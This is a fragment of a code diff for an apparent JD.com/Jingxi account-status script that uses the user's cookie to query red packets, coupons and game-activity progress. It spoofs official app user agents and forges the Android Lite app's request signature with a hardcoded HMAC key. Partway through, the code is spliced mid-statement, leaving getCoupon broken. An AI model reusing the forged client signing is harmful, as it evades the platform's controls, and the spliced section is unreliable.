+ finally { + resolve(); + } + }) + }) +} +function exchangejxbeans(o) { + return new Promise(async resolve => { + var UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + var JXUA = `jdpingou;iPhone;4.13.0;14.4.2;${UUID};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + const options = { + "url": `https://m.jingxi.com/deal/masset/jd2xd?use=${o}&canpintuan=&setdefcoupon=0&r=${Math.random()}&sceneval=2`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Cookie": cookie, + "Connection": "keep-alive", + "User-Agent": JXUA, + "Accept-Language": "zh-cn", + "Referer": "https://m.jingxi.com/deal/confirmorder/main", + "Accept-Encoding": "gzip, deflate, br", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + data = JSON.parse(data); + if (data && data.data && JSON.stringify(data.data) === '{}') { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data || {}); + } + }) + }) +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { + return x.replace(/[xy]/g, function (x) { + var r = 16 * Math.random() | 0, + n = "x" == x ? r : 3 & r | 8; + return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), + uuid + }) +} + +function redPacket() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, + "headers": { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`redPacket API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data).data; + $.jxRed = 0, + $.jsRed = 0, + $.jdRed = 0, + $.jdhRed = 0, + $.jxRedExpire = 0, + $.jsRedExpire = 0, + $.jdRedExpire = 0, + $.jdhRedExpire = 0; + let t = new Date(); + t.setDate(t.getDate() + 1); + t.setHours(0, 0, 0, 0); + t = parseInt((t - 1) / 1000); + for (let vo of data.useRedInfo.redList || []) { + if (vo.orgLimitStr && vo.orgLimitStr.includes("京喜")) { + $.jxRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jxRedExpire += parseFloat(vo.balance) + } + } else if (vo.activityName.includes("极速版")) { + $.jsRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jsRedExpire += parseFloat(vo.balance) + } + } else if (vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")) { + $.jdhRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdhRedExpire += parseFloat(vo.balance) + } + } else { + $.jdRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdRedExpire += parseFloat(vo.balance) + } + } + } + $.jxRed = $.jxRed.toFixed(2); + $.jsRed = $.jsRed.toFixed(2); + $.jdRed = $.jdRed.toFixed(2); + $.jdhRed = $.jdhRed.toFixed(2); + $.balance = data.balance; + $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2); + $.message += `【红包总额】${$.balance}(总过期${$.expiredBalance})元 \n`; + if ($.jxRed > 0) + $.message += `【京喜红包】${$.jxRed}(将过期${$.jxRedExpire.toFixed(2)})元 \n`; + if ($.jsRed > 0) + $.message += `【极速红包】${$.jsRed}(将过期${$.jsRedExpire.toFixed(2)})元 \n`; + if ($.jdRed > 0) + $.message += `【京东红包】${$.jdRed}(将过期${$.jdRedExpire.toFixed(2)})元 \n`; + if ($.jdhRed > 0) + $.message += `【健康红包】${$.jdhRed}(将过期${$.jdhRedExpire.toFixed(2)})元 \n`; + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function getCoupon() { + return new Promise(resolve => { + let options = { + url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=1&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + }, + timeout: 10000 + } + $.get(options, async(err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let couponTitle = ''; + let couponId = ''; + // 删除可使用且非超市、生鲜、京贴; + let useable = data.coupon.useable; + $.todayEndTime = new Date(new Date(new Date().getTime()).setHours(23, 59, 59, 999)).getTime(); + $.tomorrowEndTime = new Date(new Date(new Date().getTime() + 24 * 60 * 60 * 1000).setHours(23, 59, 59, 999)).getTime(); + $.platFormInfo=""; + for (let i = 0; i < useable.length; i++) { + //console.log(useable[i]); + if (useable[i].limitStr.indexOf('全品类') > -1) { + $.beginTime = useable[i].beginTime; + if ($.beginTime < new Date().getTime() && useable[i].quota < 20 && useable[i].coupontype === 1) { + //$.couponEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.couponName = useable[i].limitStr; + if (useable[i].platFormInfo) + $.platFormInfo = useable[i].platFormInfo; + + var decquota=parseFloat(useable[i].quota).toFixed(2); + var decdisc= parseFloat(useable[i].discount).toFixed(2); + + $.message += `【全品类券】满${decquota}减${decdisc}元`; + + if (useable[i].endTime < $.todayEndTime) { + $.message += `(今日过期,${$.platFormInfo})\n`; + } else if (useable[i].endTime < $.tomorrowEndTime) { + $.message += `(明日将过期,${$.platFormInfo})\n`; + } else { + $.message += `(${$.platFormInfo})\n`; + } + + } + } + if (useable[i].couponTitle.indexOf('运费券') > -1 && useable[i].limitStr.indexOf('自营商品运费') > -1) { + if (!$.YunFeiTitle) { + $.YunFeiTitle = useable[i].couponTitle; + $.YunFeiQuanEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan += 1; + } else { + if ($.YunFeiTitle == useable[i].couponTitle) { + $.YunFeiQuanEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan += 1; + } else { + if (!$.YunFeiTitle2) + $.YunFeiTitle2 = useable[i].couponTitle; + + if ($.YunFeiTitle2 == useable[i].couponTitle) { + $.YunFeiQuanEndTime2 = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan2 += 1; + } + } + + } + + } + if (useable[i].couponTitle.indexOf('极速版APP活动') > -1 && useable[i].limitStr=='仅可购买活动商品') { + $.beginTime = useable[i].beginTime; + if ($.beginTime < new Date().getTime() && useable[i].coupontype === 1) { + if (useable[i].platFormInfo) + $.platFormInfo = useable[i].platFormInfo; + var decquota=parseFloat(useable[i].quota).toFixed(2); + var decdisc= parseFloat(useable[i].discount).toFixed(2); + + $.message += `【极速版券】满${decquota}减${decdisc}元`; + + if (useable[i].endTime < $.todayEndTime) { + $.message += `(今日过期,${$.platFormInfo})\n`; + } else if (useable[i].endTime < $.tomorrowEndTime) { + $.message += `(明日将过期,${$.platFormInfo})\n`; + } else { + $.message += `(${$.platFormInfo})\n`; + } + + } + + } + //8是支付券, 7是白条券 + if (useable[i].couponStyle == 7 || useable[i].couponStyle == 8) { + $.beginTime = useable[i].beginTime; + if ($.beginTime > new Date().getTime() || useable[i].quota > 50 || useable[i].coupontype != 1) { + continue; + } + + if (useable[i].couponStyle == 8) { + $.couponType = "支付立减"; + }else{ + $.couponType = "白条优惠"; + } + if(useable[i].discount { + $.get(taskJDZZUrl("interactTaskIndex"), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京东赚赚API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JdzzNum = data.data.totalNum; + } + } + } catch (e) { + //$.logErr(e, resp) + console.log(`京东赚赚数据获取失败`); + } + finally { + resolve(data); + } + }) + }) +} + +function taskJDZZUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} + +function getMs() { + if (!EnableJdMs) + return; + return new Promise(resolve => { + $.post(taskMsPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`getMs API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + //console.log("Debug :" + JSON.stringify(data)); + data = JSON.parse(data); + if (data.result.assignment.assignmentPoints) { + $.JdMsScore = data.result.assignment.assignmentPoints || 0 + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function taskMsPostUrl(function_id, body = {}, extra = '', function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000 + } +} + +function jdfruitRequest(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskfruitUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JDwaterEveryDayT = data.totalWaterTaskInit.totalWaterTaskTimes; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }) + }, timeout) + }) +} + +async function getjdfruitinfo() { + if (EnableJdFruit) { + llgeterror = false; + + await jdfruitRequest('taskInitForFarm', { + "version": 14, + "channel": 1, + "babelChannel": "120" + }); + + await getjdfruit(); + if (llgeterror) { + console.log(`东东农场API查询失败,等待10秒后再次尝试...`) + await $.wait(10 * 1000); + await getjdfruit(); + } + if (llgeterror) { + console.log(`东东农场API查询失败,有空重启路由器换个IP吧.`) + } + + } + return; +} + +async function GetJxBeaninfo() { + await GetJxBean(), + await jxbean(); + return; +} + +async function getjdfruit() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({"version":4}))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000 + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + if(!llgeterror){ + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + } + llgeterror = true; + } else { + llgeterror = false; + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + if ($.farmInfo.farmUserPro) { + $.JdFarmProdName = $.farmInfo.farmUserPro.name; + $.JdtreeEnergy = $.farmInfo.farmUserPro.treeEnergy; + $.JdtreeTotalEnergy = $.farmInfo.farmUserPro.treeTotalEnergy; + $.treeState = $.farmInfo.treeState; + let waterEveryDayT = $.JDwaterEveryDayT; + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10; //一共还需浇多少次水 + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + $.JdwaterTotalT = waterTotalT; + $.JdwaterD = waterD; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +async function PetRequest(function_id, body = {}) { + await $.wait(3000); + return new Promise((resolve, reject) => { + $.post(taskPetUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + llPetError=true; + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data) + } + }) + }) +} +function taskPetUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout: 10000 + }; +} + +function taskfruitUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function cash() { + if (!EnableJdSpeed) + return; + return new Promise(resolve => { + $.get(taskcashUrl('MyAssetsService.execute', { + "method": "userCashRecord", + "data": { + "channel": 1, + "pageNum": 1, + "pageSize": 20 + } + }), + async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`cash API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.goldBalance) + $.JDtotalcash = data.data.goldBalance; + else + console.log(`领现金查询失败,服务器没有返回具体值.`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +var __Oxb24bc = ["lite-android&", "stringify", "&android&3.1.0&", "&", "&846c4c32dae910ef", "12aea658f76e453faf803d15c40a72e0", "isNode", "crypto-js", "", "api?functionId=", "&body=", "&appid=lite-android&client=android&uuid=846c4c32dae910ef&clientVersion=3.1.0&t=", "&sign=", "api.m.jd.com", "*/*", "RN", "JDMobileLite/3.1.0 (iPad; iOS 14.4; Scale/2.00)", "zh-Hans-CN;q=1, ja-CN;q=0.9", "undefined", "log", "", "", "", "", "jsjia", "mi.com"]; + +function taskcashUrl(_0x7683x2, _0x7683x3 = {}) { + let _0x7683x4 = +new Date(); + let _0x7683x5 = `${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`; + let _0x7683x6 = __Oxb24bc[0x5]; + const _0x7683x7 = $[__Oxb24bc[0x6]]() ? require(__Oxb24bc[0x7]) : CryptoJS; + let _0x7683x8 = _0x7683x7.HmacSHA256(_0x7683x5, _0x7683x6).toString(); + return { + url: `${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`, + headers: { + 'Host': __Oxb24bc[0xd], + 'accept': __Oxb24bc[0xe], + 'kernelplatform': __Oxb24bc[0xf], + 'user-agent': __Oxb24bc[0x10], + 'accept-language': __Oxb24bc[0x11], + 'Cookie': cookie + }, + timeout: 10000 + } +} +(function (_0x7683x9, _0x7683xa, _0x7683xb, _0x7683xc, _0x7683xd, _0x7683xe) { + _0x7683xe = __Oxb24bc[0x12]; + _0x7683xc = function (_0x7683xf) { + if (typeof alert !== _0x7683xe) { + alert(_0x7683xf) + }; + if (typeof console !== _0x7683xe) { + console[__Oxb24bc[0x13]](_0x7683xf) + } + }; + _0x7683xb = function (_0x7683x7, _0x7683x9) { + return _0x7683x7 + _0x7683x9 + }; + _0x7683xd = _0x7683xb(__Oxb24bc[0x14], _0x7683xb(_0x7683xb(__Oxb24bc[0x15], __Oxb24bc[0x16]), __Oxb24bc[0x17])); + try { + _0x7683x9 = __encode; + if (!(typeof _0x7683x9 !== _0x7683xe && _0x7683x9 === _0x7683xb(__Oxb24bc[0x18], __Oxb24bc[0x19]))) { + _0x7683xc(_0x7683xd) + } + } catch (e) { + _0x7683xc(_0x7683xd) + } +})({}) + +async function JxmcGetRequest() { + let url = ``; + let myRequest = ``; + url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&activeid=null&activekey=null&isgift=1&isquerypicksite=1&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetHomePageInfo`, url); + + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`JxmcGetRequest API请求失败,请检查网路重试`) + $.runFlag = false; + console.log(`请求失败`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.JDEggcnt = data.data.eggcnt; + } + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜工厂信息查询 +async function getJxFactory() { + if (!EnableJxGC) + return; + return new Promise(async resolve => { + let infoMsg = ""; + let strTemp = ""; + await $.get(jxTaskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async(err, resp, data) => { + try { + if (err) { + $.jxFactoryInfo = ""; + //console.log("jx工厂查询失败" + err) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + //const productionStage = data.productionStage; + $.commodityDimId = production.commodityDimId; + // subTitle = data.user.pin; + await GetCommodityDetails(); //获取已选购的商品信息 + infoMsg = `${$.jxProductName}(${((production.investedElectric / production.needElectric) * 100).toFixed(0)}%`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) { + infoMsg = `${$.jxProductName}已可兑换`; + $.jxFactoryReceive = `${$.jxProductName}`; + } + if (production['exchangeStatus'] === 3) { + if (new Date().getHours() === 9) { + infoMsg = `兑换超时,请重选商品!`; + } + } + // await exchangeProNotify() + } else { + strTemp = `,${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(0)}天)`; + if (strTemp == ",0天)") + infoMsg += ",今天)"; + else + infoMsg += strTemp; + } + if (production.status === 3) { + infoMsg = "商品已失效,请重选商品!"; + } + } else { + $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + infoMsg = "" + // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); + } else if (data.factoryList && !data.productionList) { + infoMsg = "" + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + $.jxFactoryInfo = infoMsg; + // console.log(infoMsg); + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜的Taskurl +function jxTaskurl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} + +//惊喜查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(jxTaskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`GetCommodityDetails API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.jxProductName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 东东工厂信息查询 +async function getDdFactoryInfo() { + if (!EnableJDGC) + return; + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + let infoMsg = ""; + return new Promise(resolve => { + $.post(ddFactoryTaskUrl('jdfactory_getHomeData'), async(err, resp, data) => { + try { + if (err) { + $.ddFactoryInfo = "获取失败!" + /*console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`)*/ + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + // $.newUser = data.data.result.newUser; + //let wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { + totalScore, + useScore, + produceScore, + remainScore, + couponCount, + name + } = data.data.result.factoryInfo; + if (couponCount == 0) { + infoMsg = `${name} 没货了,死了这条心吧!` + } else { + infoMsg = `${name}(${((remainScore * 1 + useScore * 1) / (totalScore * 1)* 100).toFixed(0)}%,剩${couponCount})` + } + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + // await jdfactory_addEnergy(); + infoMsg = `${name} 可以兑换了!` + $.DdFactoryReceive = `${name}`; + + } + + } else { + infoMsg = `` + } + } else { + $.ddFactoryInfo = "" + } + } + } + $.ddFactoryInfo = infoMsg; + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function ddFactoryTaskUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } +} + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + if (!EnableJoyPark) + return; + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`汪汪乐园 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success) { + $.joylevel = data.data.level; + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function taskPostClientActionUrl(body) { + return { + url: `https://api.m.jd.com/client.action?functionId=joyBaseInfo`, + body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + }, + timeout: 10000 + } +} + +function taskJxUrl(functionId, body = 